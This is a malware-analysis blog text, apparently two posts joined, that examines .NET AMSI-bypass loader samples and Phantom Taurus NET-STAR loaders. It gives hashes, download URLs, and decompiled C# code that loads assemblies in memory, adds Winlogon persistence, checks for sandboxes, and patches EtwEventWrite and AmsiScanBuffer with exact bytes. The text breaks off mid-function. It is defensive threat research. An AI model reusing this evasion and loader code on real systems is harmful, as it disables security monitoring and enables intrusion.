Sample info Attribute Value Name ASBBypass.dll SHA256 5c715cfc91cfbe468a12f2662ea7e40a9b3dacb8457b5f006a51f64b3dadc080 TLSH CFC1C711ABE80776DCFA0B32EDF347521270E6218D73EB3F1989521A6E562544A31FA1 KSS upload 2024-09-05 10:48:40 UTC VT upload 2022-04-18 11:35:06 UTC Size 5632 PDB path C:\Users\a_cha\Desktop\AmsiBypass\AmsiScanBufferBypass\ASBBypass\obj\Release\ASBBypass.pdb Attribute Value Name ASBBypass.dll SHA256 fea5938d4161184f73144136951523bd6ef22387f04e71f6e3a2c39be9c11c9c TLSH 05C1C811ABE80B76DCFA0B32EDF247121770E121CD33DB3F188952166F562504A32BA0 KSS upload 2021-12-11 08:22:08 UTC VT upload 2021-11-26 01:52:50 UTC Size 5632 PDB path C:\Users\Cudo\Source\Repos\AmsiScanBufferBypass\ASBBypass\obj\Release\ASBBypass.pdb

One contains templated assembly download URL https://your-server.com/sliver_beacon.bin and RedTeamCode\Redteam_shellcode in pdb path.

Sample info Attribute Value Name Downloader.exe SHA256 aad5599b751c7f98b3c0b721bed7cded2ace818e482166dd89f1600efbb9f074 TLSH 6DE1C702DBFC5220EDBA0B317C77434055B1FA129A27CB6D28C6221F1E237A54A63733 KSS upload 2025-03-26 11:34:42 UTC VT upload 2025-03-19 10:09:26 UTC Size 7168 PDB path D:\RedTeamCode\Redteam_shellcode\Downloader\Downloader\obj\Release\Downloader.pdb Learning #

Some samples indicate they are part of someone's learning process. LearningLoadAssembly is in pdb path, LoadMe.DoStuff for executed type.

Sample info Attribute Value Name pass_def.exe SHA256 0fd505bd7c5e8ab36840e96532b6333d6abce681fa1dd3ea8676f0bd5bd150e7 TLSH 12E1C600DFC89636E9B60734ACF34B005AB5E794AE539FBF568C812B6D6735045A33A0 KSS upload 2024-02-02 02:32:53 UTC VT upload 2024-02-01 01:28:54 UTC Size 7168 PDB path E:\projects\pass_def\obj\Release\pass_def.pdb Attribute Value Name LoadAssembly.exe SHA256 9739bd88c0cf2c832cdfc9fb0f348ce9c9d33dc183e75bc3163a4ee5f7b6d258 TLSH 91E1F815C7E88735ED7B4B367CB3A3400374F2198D57CB1E64D8A21BAE223084662336 KSS upload 2022-01-28 10:37:18 UTC VT upload 2022-01-09 11:26:01 UTC Size 7168 PDB path C:\Users\local_administrator\source\repos\LearningLoadAssembly\LoadAssembly\obj\Debug\LoadAssembly.pdb

One has shellcodes-lab-csharp in its pdb path.

Sample info Attribute Value Name shellcodes-lab-csharp.exe SHA256 2f20240999ff7016fc2f3973aef5d2982a984b4237f18cc31c1a49d26ce277dc TLSH 9AD1B601E3D847B3EDFA0A325DB3A2401779EB505D679B6FA889520F5E233084963776 KSS upload 2024-05-06 09:09:33 UTC VT upload 2024-05-04 13:59:16 UTC Size 6656 PDB path C:\Users\adams\source\repos\shellcodes-lab-csharp\shellcodes-lab-csharp\obj\x64\Release\shellcodes-lab-csharp.pdb
Malware related #

Other samples are neither compiled from publically available code, nor show signs of non-malicious intent. We consider samples malware related if their code, name or pdb path doesn't contain any hints on them having another purpose.

One sample loads GodPotato.

Sample info Attribute Value Name ConsoleApp2.exe SHA256 09bbe47ea92183723cd96ec4f7cc2d1be0979926732a929cd47f6254abaffaa7 TLSH 12E1E809D7E84232ECB60E30ADB393001336F5119C639B6F64AE910B2E2775449A3B72 KSS upload 2025-09-22 06:17:43 UTC VT upload 2025-09-21 05:45:01 UTC Size 7168 PDB path C:\Users\tom\source\repos\ConsoleApp2\ConsoleApp2\obj\x64\Debug\ConsoleApp2.pdb

Two samples check whether there are at least 40 processes running on the system. Probably to only execute on non-honeypot or dynamic analysis systems. One actually exits if there are too few, the other one just prints and error message and continues.

if (Process.GetProcesses().Length < 40)
{
  Console.WriteLine("The number of processes in the system is less than 40. Exiting the program.");
  Environment.Exit(0);
}

The IP address 106.52.219.135 that 2b9380...60b40f sample uses to download the next payload doesn't have many detections on VirusTotal.

Sample info Attribute Value Name ConsoleApp3.exe SHA256 2b9380719b592a253a0691866b69baf89da6a8f24996ed94ff837d561960b40f TLSH B6E1C621ABE8A63AD8B70F717DF3531003B9FA558D72976E288C02076D233504AB3736 KSS upload 2023-12-02 05:05:49 UTC VT upload 2023-12-02 13:45:56 UTC Size 7168 PDB path C:\Users\systemctl\source\repos\ConsoleApp3\ConsoleApp3\obj\Release\ConsoleApp3.pdb Attribute Value Name mypowershell.exe SHA256 ab2eeaa9ec0f9df85c093c13d02342c21ee648dfc74c3dced2f7df3228cf691a TLSH 1AE1E611A7E48A39ECBB0B316CB393100375BBA5CE73DB5F64D8251B5D2321009B6B76 KSS upload 2024-04-20 03:58:42 UTC VT upload 2024-04-19 03:22:35 UTC Size 7168 PDB path C:\Users\24681\source\repos\mypowershell\mypowershell\obj\Debug\mypowershell.pdb

7 samples instantiate stagetwo.Yeet class in them and don't have PDB paths.

Sample info Attribute Value Name loader.dll SHA256 273fce67e874757dc6a17dccbaafcd39a0c85f50f365412b0419cea952460979 TLSH 8FD1D712E7E45B72FDBE4B356DA3970102B0FA408E23CB5F6CDD510B1C7A2940662B66 KSS upload 2024-08-08 11:30:20 UTC VT upload 2024-08-07 12:37:58 UTC Size 6656 PDB path Attribute Value Name loader.dll SHA256 584a5e3b628d23bc26451bd9ce136ad74c09a25f0c217faa86ebb68650465a97 TLSH F6C1D521E7E45632EDAF4B36BEE363421370F9518C67CF5F88C9410B5C362548A63B66 KSS upload 2024-08-11 03:15:09 UTC VT upload 2024-08-07 12:43:39 UTC Size 6144 PDB path Attribute Value Name loader.dll SHA256 8a38b90576f64ef088a0a25cd5fd3cf3280d50e47f6e28392236c38869f91b5a TLSH 42C1D711E7E82732FCAB8B72ACA3A31103F0F9508D97DA9F94D9510B4D722544671B7A KSS upload 2024-08-14 03:38:08 UTC VT upload 2024-08-07 12:28:10 UTC Size 6144 PDB path Attribute Value Name loader.dll SHA256 90bda3704c1f96660a903b8d50064d667528a37a86c1f3bf292bb2d6bc9e2444 TLSH 0AC1E521E7E50732EDAF8732BEE363121370F940CC67CB1F88C9910B5C362144662B66 KSS upload 2024-08-08 09:31:37 UTC VT upload 2024-08-07 12:40:01 UTC Size 6144 PDB path Attribute Value Name loader.dll SHA256 b16812764caf00d2546fa4caf154196f9c575073a636b58dffe26412deb4e992 TLSH C5C1C629E7E42732FCAF0B39BDA3930203B4F651CD1BCE5F58C9410B5D662040A62B67 KSS upload 2024-08-08 09:31:37 UTC VT upload 2024-08-07 12:34:20 UTC Size 6144 PDB path Attribute Value Name loader.dll SHA256 c45596e430f5bbc21deb516844be5e9be6ce9e31abbe18d3d09ee15418e53d76 TLSH 08C1D725E7E40732EDAB8B72BDE353420274F5408D6BEA5F85D9610B5C2B20086B277A KSS upload 2024-08-08 09:31:37 UTC VT upload 2024-08-07 12:31:24 UTC Size 6144 PDB path Attribute Value Name loader.dll SHA256 e0360b7d32312d57562671db7082a16a55a6a25a054517f28ec2371a36e30fae TLSH C4C1C629A7E42733FCAF4B39BDA3930203B4F6518D27CE5F5CD9410B5D662440A62B67 KSS upload 2024-08-08 09:41:40 UTC VT upload 2024-08-07 12:33:14 UTC Size 6144 PDB path

One sample checks whether the host OS is Windows 10 and only performs AMSI patching if it is.

string? text = Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion", "ProductName", null).ToString();
if (text.Contains("10"))
{
  Patch();
}
Sample info Attribute Value Name Anywhere.exe SHA256 a456a014abd090696acc77a447580fe71ab71189fe4884c6a8099a6d51a35663 TLSH 6CE1C505DFE4023AECBF0A32BD3397048774FA9589938F5F4A8D511B2DA26900A62772 KSS upload 2019-08-12 08:24:45 UTC VT upload 2019-07-25 14:42:33 UTC Size 7168 PDB path C:\SRC\GenericLoader\GenericLoader\obj\Release\Anywhere.pdb

One sample downloads the next stage from http://dead1.net/deadTry.exe, which appears to be quite malicious with 56 detections on VirusTotal.

Sample info Attribute Value Name temp.exe SHA256 df758f6d5b4442d71450ac9756189b06ac4b0ca5534a5a80d5fab0e5e00175ec TLSH 8EC1E70147E4A776E9BB4B326CB3970103B8F650CC67EB5E24D9215F2F227100A23B21 KSS upload 2021-07-10 08:01:03 UTC VT upload 2021-06-19 23:30:13 UTC Size 5632 PDB path C:\Users\admin\source\repos\temp\temp\obj\Debug\temp.pdb

One sample sets its process's main module to be automatically executed on winlogon.

Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", writable: true).SetValue("Shell", "explorer.exe," + Process.GetCurrentProcess().MainModule.FileName + ",");
Sample info Attribute Value Name taskhostw.exe SHA256 9db5f4d30a7100f204ddc6dd4271a42cd61572599fabd8bb2627efa7cbd9bbf8 TLSH 35F1D804CBE84A76EDBF0F70A9F3834403B1F2518E67DA6E198C551B3E6731085A3722 KSS upload 2023-08-18 16:09:48 UTC VT upload 2022-10-25 18:57:42 UTC Size 7680 PDB path C:\Users\shadowspc\Desktop\taskhostw.exe\taskhostw.exe\obj\Debug\taskhostw.pdb Summary #

In this blog post we analyzed .NET assembly loader samples implementing some kind of AMSI bypass technique. These were just a few samples from our database that came as a result of a previous research about Phantom Taurus samples. Follow up investigation could involve searching for similar samples to the interesting ones detailed in this report, see how many variants there are, how they evolved. As it is visible not all samples in our malware repository or VirusTotal or any other database are threat actor related. Many of them come from ordenary people trying out public repositories, learning about bypass techniques. But there are many related to malicious actors of course, these are usually the more interesting ones.

The full list of mentioned samples is available in .csv format

https://blog.ukatemi.com/blog/2025-10-17-.NET-AMSI-bypass-samples/
Phantom Taurus related samples
Show full content
Overview #

On September 30, Unit42 of Palo Alto Networks released a report about a new Chinese APT thay named Phantom Taurus. They've been tracking the activity of this actor for 2.5 years and now they determined that they knew enough to promote them to a new formally named threat actor.

They describe a new .NET malware suite named NET-STAR, used by the threat actor. They publish 3 components:

  • IIServerCore backdoor that consists of an OutlookEN.aspx webshell that loads a base64-encoded ServerCore.dll that handles the commands. This file is neither available on VirusTotal (VT), nor in our Kaibou Search Services (KSS).
  • AssemblyExecuter V1 dynamic assembly loader
  • AssemblyExecuter V2 equipped with Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW) bypass capabilities

The following table shows when each of the samples were uploaded to KSS and VT.

Name SHA256 Kaibou upload VT upload IIServerCore backdoor eeed5530fa1cdeb69398dc058aaa01160eab15d4dcdcd6cb841240987db284dc - - Assembly Executer V1 3e55bf8ecaeec65871e6fca4cb2d4ff2586f83a20c12977858348492d2d0dec4 2024-09-18 20:54:29 UTC 2024-09-19 01:37:36 UTC Assembly Executer V2 afcb6289a4ef48bf23bab16c0266f765fab8353d5e1b673bd6e39b315f83676e 2025-06-03 03:43:17 UTC 2025-06-04 04:14:02 UTC Assembly Executer V2 b76e243cf1886bd0e2357cbc7e1d2812c2c0ecc5068e61d681e0d5cff5b8e038 2025-06-03 03:48:29 UTC 2025-06-04 04:13:58 UTC

The AssemblyExecuter samples are all quite small, a few hundred lines of C# code maximum. It doesn't take much effort to rewrite them from scratch differently. In this report we'll use the following four terms to refer to the relation between the original sample mentioned in the report and a sample we found:

  • Matching: The analyzed sample's decompiled code is almost identical to the orignal sample. They most probably come from the same source tree.
  • Related: The analyzed sample shows high level of code similarity to the original sample. They have similar functions, variables, use similar imported moduls. These samples could be coming from the same source/author, though with these small samples, there is not much code to select identifying attributes from.
  • Similar: The analyzed sample has some matching static or code attributes to the original samples, but achieves its functionality very differently. It may be coming from the same or a completely unrelated source. There is not enough indicators to deem them related.
  • Unrelated: The analyzed sample has very different code structure from the original sample. Though the end result functionality may be the same (e.g. executing an assembly with AMSI bypass), the way to program achieves this is has no resemblance of the original sample. We are highly confident this sample comes from a different source.
Analysis #

Searching for these hashes in KSS gives us all three of the Assembly Executer samples listed in the reports:

Searching for the hashes in KSS
Searching for the hashes in KSS
We can download the samples and take a look with ILSpy.

Assembly Executer V1 (3e55bf...d0dec4) #

There is only one interesting function, run(Hashtable).

Tree view with ILSpy
Tree view with ILSpy

Decompiled source code of the function looks like the following. It decodes raw assembly bytes from parameters in memory and invokes it's EntryPoint.

using System;
using System.Collections;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("ExecuteAssembly")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("ExecuteAssembly")]
[assembly: AssemblyCopyright("Copyright ©  2022")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("b37679d5-b8ca-4a0e-b39a-ecfc775bc69b")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyVersion("1.0.0.0")]
namespace ExecuteAssembly;

public class Run
{
	[DllImport("shell32.dll", SetLastError = true)]
	private static extern IntPtr CommandLineToArgvW([MarshalAs(UnmanagedType.LPWStr)] string lpCmdLine, out int pNumArgs);

	public static string[] commandLineToArgs(string commandLine)
	{
		int pNumArgs;
		IntPtr intPtr = CommandLineToArgvW(commandLine, out pNumArgs);
		if (intPtr == IntPtr.Zero)
		{
			throw new Win32Exception();
		}
		try
		{
			string[] array = new string[pNumArgs];
			for (int i = 0; i < array.Length; i++)
			{
				IntPtr ptr = Marshal.ReadIntPtr(intPtr, i * IntPtr.Size);
				array[i] = Marshal.PtrToStringUni(ptr);
			}
			return array;
		}
		finally
		{
			Marshal.FreeHGlobal(intPtr);
		}
	}

	public string run(Hashtable parameters)
	{
		Hashtable hashtable = (Hashtable)parameters["session"];
		string commandLine = Encoding.Default.GetString((byte[])parameters["commandLine"]);
		byte[] array = (byte[])parameters["protocolFile"];
		byte[] array2 = (byte[])parameters["assemblyBytes"];
		if (array != null)
		{
			array2 = (byte[])hashtable[Encoding.Default.GetString(array)];
		}
		if (array2 == null)
		{
			return "assemblyBytes is empty";
		}
		MethodInfo entryPoint = Assembly.Load(array2).EntryPoint;
		if ((object)entryPoint == null)
		{
			return "Unable to find entry point in this assembly";
		}
		string[] array3 = commandLineToArgs(commandLine);
		TextWriter textWriter = Console.Out;
		TextWriter error = Console.Error;
		MemoryStream memoryStream = new MemoryStream();
		TextWriter textWriter2 = new StreamWriter(memoryStream);
		Console.SetOut(textWriter2);
		Console.SetError(textWriter2);
		try
		{
			entryPoint.Invoke(null, new object[1] { array3 });
		}
		catch (Exception ex)
		{
			textWriter2.WriteLine();
			textWriter2.Write("Exception:\r\n");
			textWriter2.Write(ex.Message);
			textWriter2.WriteLine();
			textWriter2.Write(ex.StackTrace);
		}
		finally
		{
			Console.SetError(error);
			Console.SetOut(textWriter);
		}
		textWriter2.Flush();
		textWriter2.Dispose();
		return Encoding.Default.GetString(memoryStream.ToArray());
	}
}

As it was mentioned in the report The actor changed the compilation time to a random future date to hide the malware’s real compilation timestamp. This is visible on VT, it was set to 2074-06-26 03:26:03 UTC. Another info we may use for similar file matching is the .NET library version by DetectItEasy. Value for this sample is v2.0.50727. We should also take note of the file size: 5632 bytes. File version information will also be important later, Product, and Description are the same and Original Name and Internal Name just have an additional extension at the end.

Distinguishing information on VirusTotal
Distinguishing information on VirusTotal
File version information on VirusTotal
File version information on VirusTotal

Let's try to find some similar samples using TLSH similarity search in KSS! We used the threshold of 80 because the more reliable threshold of 40 only gave us the sample itself. The most similar sample (by TLSH) has difference score 53. This is quite high so we should expect many unrelated files that just happen to be of similar size, also using .NET. We have 48416 samples in our database (of the 777 million) that were bellow 80 difference score. We highlighted a few that were uploaded to our database in 2024, because the Unit 42 report stated that V1 was used around this time. To speed up processing of the results, we downloaded the first 10k samples, generated their .cs source code estimations. The largest difference scrote was 70. We searched for Assembly.Load in the source codes because this function call is a core part of the original loader. This gave us 88 results, that we checked manually. In the following section, we list the similar or related files.

Results for similarity search to Assembly Executer V1 in KSS
Results for similarity search to Assembly Executer V1 in KSS

Similar samples: 0efa77...edc262, 0d408e...112257 #

The closest sample is 0efa774e33525c571dfbbded346d05acb3a4555c2df72e619b3a82a08aedc262 with difference score 53. And a very similar sample to this one is 0d408efb56ef86c17649aaa2345e227fb91eb58a99a02c4369a3c1bbf5112257 with 67.

Attribute Value Name Stealth_Assembly_Loader.exe SHA256 0efa774e33525c571dfbbded346d05acb3a4555c2df72e619b3a82a08aedc262 TLSH 15C1A51153E88B7AF9778B73AD7797450268F7218D53CF2D28C8560F6D022284D63B70 KSS upload 2023-06-21 22:04:04 UTC VT upload 2023-06-21 16:14:25 UTC Relation Similar PDB C:\Users\tester\source\repos\Stealth_Assembly_Loader\Stealth_Assembly_Loader\obj\Release\Stealth_Assembly_Loader.pdb Attribute Value Name AssemblyLoader.exe SHA256 0d408efb56ef86c17649aaa2345e227fb91eb58a99a02c4369a3c1bbf5112257 TLSH B7B1841193D88332EFBB8B72BD736384537CFB61ACA79B6D24C4562B6D126144933B20 KSS upload 2025-02-09 05:28:13 UTC VT upload 2024-06-15 16:49:40 UTC Relation Similar PDB E:\DFromYBLaptop\0000\scarg\AssemblyLoader\AssemblyLoader\obj\Release\AssemblyLoader.pdb

The VirusTotal static info looks promising for both samples. The first sample has exactly the same size (though this is probably mostly coincidence), the creation time is also some seemingly random future date, the .NET version is different. The file version information also follows the same scheme as the original sample. It's worth to take a closer look at these samples.

Related information on VirusTotal to 0efa77...edc262
Related information on VirusTotal to 0efa77...edc262
File version information on VirusTotal to 0efa77...edc262
File version information on VirusTotal to 0efa77...edc262

Functions of 0efa77...edc262 by ILSpy
Functions of 0efa77...edc262 by ILSpy

The program is as simple as the original one. It loads the executable file passed as its first argument to memory and invokes its EntryPoint with the second argument split on spaces.

using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("Stealth_Assembly_Loader")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Stealth_Assembly_Loader")]
[assembly: AssemblyCopyright("Copyright ©  2023")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("049bdb28-25c3-4108-98e3-7b268f48e416")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: TargetFramework(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")]
[assembly: AssemblyVersion("1.0.0.0")]
namespace SAA;

internal class Program
{
	private static void Main(string[] args)
	{
		if (args.Length < 1)
		{
			Console.WriteLine("Usage:");
			Console.WriteLine("AssLdr.exe <FILE.EXE> \"<param1 param2 paramX>\"");
			return;
		}
		byte[] assemblyBytes = File.ReadAllBytes(args[0]);
		string[] param = new string[0];
		if (args.Length > 1)
		{
			param = args[1].Split(new char[1] { ' ' });
		}
		ExeAssem(assemblyBytes, param);
	}

	public static void ExeAssem(byte[] assemblyBytes, string[] param)
	{
		MethodInfo entryPoint = Assembly.Load(assemblyBytes).EntryPoint;
		object[] array = new string[1][] { param };
		object[] parameters = array;
		entryPoint.Invoke(null, parameters);
	}
}

Source code of 0d408e...112257 is quite similar. It even has an ExecuteAssembly function:

using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("AssemblyLoader")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("AssemblyLoader")]
[assembly: AssemblyCopyright("Copyright ©  2021")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("682e2551-0820-4807-b0ca-cfe6dd7eea21")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: TargetFramework(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
[assembly: AssemblyVersion("1.0.0.0")]
namespace AssemblyLoader;

internal class Program
{
	private static void Main(string[] args)
	{
		if (args.Length < 1)
		{
			Console.WriteLine("Usage:");
			Console.WriteLine("AssemblyLoader.exe <path_to_file.bin> \"<param1 param2 paramX>\"");
			return;
		}
		string path = args[0];
		string[] parameters = new string[0];
		if (args.Length > 1)
		{
			parameters = args[1].Split(new char[1] { ' ' });
		}
		ExecuteAssembly(File.ReadAllBytes(path), parameters);
	}

	public static void ExecuteAssembly(byte[] assemblyBytes, string[] parameters)
	{
		MethodInfo entryPoint = Assembly.Load(assemblyBytes).EntryPoint;
		object[] parameters2 = new object[1] { parameters };
		entryPoint.Invoke(null, parameters2);
	}
}

The generated codes of these two samples are very similar. These samples match each other, they probably come from the same source tree with tiny modifications even though their PDB paths are very different. Compared to the original Assembly Executer V1, these samples are similar or unrelated. Some static information and overall functionality matches the original sample, but code has very different structure.

Related sample a77f41...af9781 # Attribute Value Name EvalCode.dll SHA256 a77f418fbc3dfcd3e83b2806755a468c474da37889b85c00439e0626efaf9781 TLSH DAC1A516E3F4873AE5F60E3A7EA3926146B6F3205C63CA5E0CC4054E4C276610E32BB5 KSS upload 2024-09-18 20:54:29 UTC VT upload 2024-09-18 21:32:58 UTC Relation Related

The static information is promising though there are differences in .NET version and file size. This sample was uploaded into our database in the same feed file as the original sample, at 2024-09-18 20:54:29 UTC. It was uploaded to VirusTotal 4 hours later than the original sample, at 2024-09-19 01:37:36 UTC.

VirusTotal static info for a77f41...af9781
VirusTotal static info for a77f41...af9781
VirusTotal file version info for a77f41...af9781
VirusTotal file version info for a77f41...af9781

Functions of sample a77f41...af9781
Functions of sample a77f41...af9781

The generated source code of this sample has many similarities with the original sample. It has a run() function that uses a Hashtable parameter(s) dictionary of byte[] values. The original sample had a functionality to load the assembly bytes from session via protocolFile. If this wasn't specified, the assemblyBytes were loaded and started at EntryPoint so this loads and executable PE file. The protocol functionality from the similar sample is missing, it can still load raw assembly from dllBytes parameter but instead of EntryPoint, it instantiates a type from FullTypeName parameter meaning that it can load DLLs rather than executables. It also has a functionality to directly load C# source code, compile it and create the selected type using runCsharpCode() function.

using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.CSharp;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("EvalCode")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("EvalCode")]
[assembly: AssemblyCopyright("Copyright ©  2022")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("d15701ae-8e5c-472a-991d-0ba907eeb491")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyVersion("1.0.0.0")]
public class Run
{
	private Hashtable parameter;

	public override bool Equals(object obj)
	{
		if (obj is Hashtable)
		{
			parameter = (Hashtable)obj;
		}
		return base.Equals(obj);
	}

	private string runCsharpCode(string code, string typeName)
	{
		ICodeCompiler val = ((CodeDomProvider)new CSharpCodeProvider()).CreateCompiler();
		CompilerParameters val2 = new CompilerParameters();
		List<string> list = new List<string>();
		Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies();
		foreach (Assembly assembly in assemblies)
		{
			list.Add(assembly.Location);
		}
		val2.ReferencedAssemblies.AddRange(list.ToArray());
		val2.CompilerOptions = "/t:library";
		val2.GenerateInMemory = true;
		val2.GenerateExecutable = false;
		val2.IncludeDebugInformation = false;
		CompilerResults val3 = val.CompileAssemblyFromSource(val2, code);
		if (((CollectionBase)(object)val3.Errors).Count > 0)
		{
			StringBuilder stringBuilder = new StringBuilder();
			stringBuilder.AppendLine("An exception occurred during compilation");
			foreach (CompilerError item in (CollectionBase)(object)val3.Errors)
			{
				CompilerError val4 = item;
				stringBuilder.AppendFormat("[{0}][{1}] Line:{2} Column:{3} ErrorText:{4}\r\n", val4.IsWarning ? "Warning" : "Error", val4.ErrorNumber, val4.Line, val4.Column, val4.ErrorText);
			}
			return stringBuilder.ToString();
		}
		return val3.CompiledAssembly.CreateInstance(typeName).ToString();
	}

	private string run()
	{
		byte[] array = (byte[])parameter["codeBytes"];
		byte[] array2 = (byte[])parameter["dllBytes"];
		string text = Encoding.Default.GetString((byte[])parameter["FullTypeName"]);
		if ((array != null || array2 != null) && text != null)
		{
			try
			{
				if (array != null)
				{
					return runCsharpCode(Encoding.Default.GetString(array), text);
				}
				if (array2 != null)
				{
					return Assembly.Load(array2).CreateInstance(text).ToString();
				}
			}
			catch (Exception ex)
			{
				return ex.ToString();
			}
			return "not result";
		}
		return "codeBytes is empty";
	}

	public override string ToString()
	{
		parameter["result"] = Encoding.Default.GetBytes(run());
		return base.ToString();
	}
}

This is very similar functionality to the original V1 sample. The static information, file name, Creation Time, first submission date also correlates with it. The file has no PDB path, just like the original sample. The generated source codes of the two samples have some similar characteristics but are different. We deem these samples related.

Based on the last analysis on VT, which happened when the sample was uploaded (a year ago), there are 0 detections. We did not trigger reanalysis for the sample.

VirusTotal detections for a77f41...af9781 as of 2024-09-18
VirusTotal detections for a77f41...af9781 as of 2024-09-18

Checking many other samples with differences 62 and above reveal multiple files that also have Creation Time set to a random future date while the programs themselves have very different, even meaningless functionalities. So this indicator might not be significant after all. Yet we didn't find any Visual Studio settings that would do this TimeDateStamp manipulation automatically. We also checked this field with other PE header parsing tools and the values were all matching the ones on VT, so it wasn't just erroneous parsing.

We also searched for samples to this specific date, now that two related samples were found in this batch. All of the other samples in the response were unrelated to these files.

Searching for PE samples uploaded to KSS at 2024-09-18 20:54:29 UTC
Searching for PE samples uploaded to KSS at 2024-09-18 20:54:29 UTC

Assembly Executer V2 (afcb62...83676e, b76e24...b8e038) #

As stated by the Unit42 report V2 is an enhanced version of AssemblyExecuter V1 that is also equipped with Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW) bypass capabilities

The decompiled code of the two samples are functionally identical. It expects a command line argument in the following form: <base64-encoded-assembly>####etw####amsi####<arguments to assembly>. etw will trigger loading ntdll.dll into memory and overwriting the first instruction of EtwEventWrite with ret (c3 00), a known ETW bypass technique. Similarly amsi will load amsi.dll and overwrite the first instructions of AmsiScanBuffer with mov eax, 0x80070057; ret (b8 57 00 07 80 c3) so it returns E_INVALIDARG (also known). After these are performed, the assembly's EntryPoint is invoked.

Assembly Executer V2 ILSpy tree view
Assembly Executer V2 ILSpy tree view

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("ExecuteAssembly")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("ExecuteAssembly")]
[assembly: AssemblyCopyright("Copyright ©  2024")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("8e6e50f9-28d0-46b2-8e77-6f82f9c57215")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: TargetFramework(".NETFramework,Version=v4.6", FrameworkDisplayName = ".NET Framework 4.6")]
[assembly: AssemblyVersion("1.0.0.0")]
namespace ExecuteAssembly;

public class Service
{
	public byte[] AsemblyBytes { get; set; }

	public string CommandLine { get; set; }

	public bool ETW { get; set; }

	private string RunAssembly()
	{
		StringWriter stringWriter = new StringWriter();
		Console.SetOut(stringWriter);
		MethodInfo entryPoint = Assembly.Load(AsemblyBytes).EntryPoint;
		object[] array = null;
		if (!string.IsNullOrEmpty(CommandLine))
		{
			string[] array2 = CommandLine.Split(new char[1] { ' ' });
			array = new object[1] { array2 };
		}
		else
		{
			array = new object[1] { new string[0] };
		}
		entryPoint.Invoke(null, array);
		string text = stringWriter.ToString();
		Console.SetOut(Console.Out);
		Console.WriteLine(text);
		return text;
	}

	[DllImport("kernel32")]
	private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

	[DllImport("kernel32")]
	private static extern IntPtr LoadLibrary(string name);

	[DllImport("kernel32")]
	private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

	private void BypassETW()
	{
		string procName = "EtwEventWrite";
		IntPtr procAddress = GetProcAddress(LoadLibrary("ntdll.dll"), procName);
		byte[] array = new byte[2] { 195, 0 };
		VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, 64u, out var lpflOldProtect);
		Marshal.Copy(array, 0, procAddress, array.Length);
		VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, lpflOldProtect, out var _);
	}

	private void BypassAmsi()
	{
		string procName = "AmsiScanBuffer";
		IntPtr procAddress = GetProcAddress(LoadLibrary("amsi.dll"), procName);
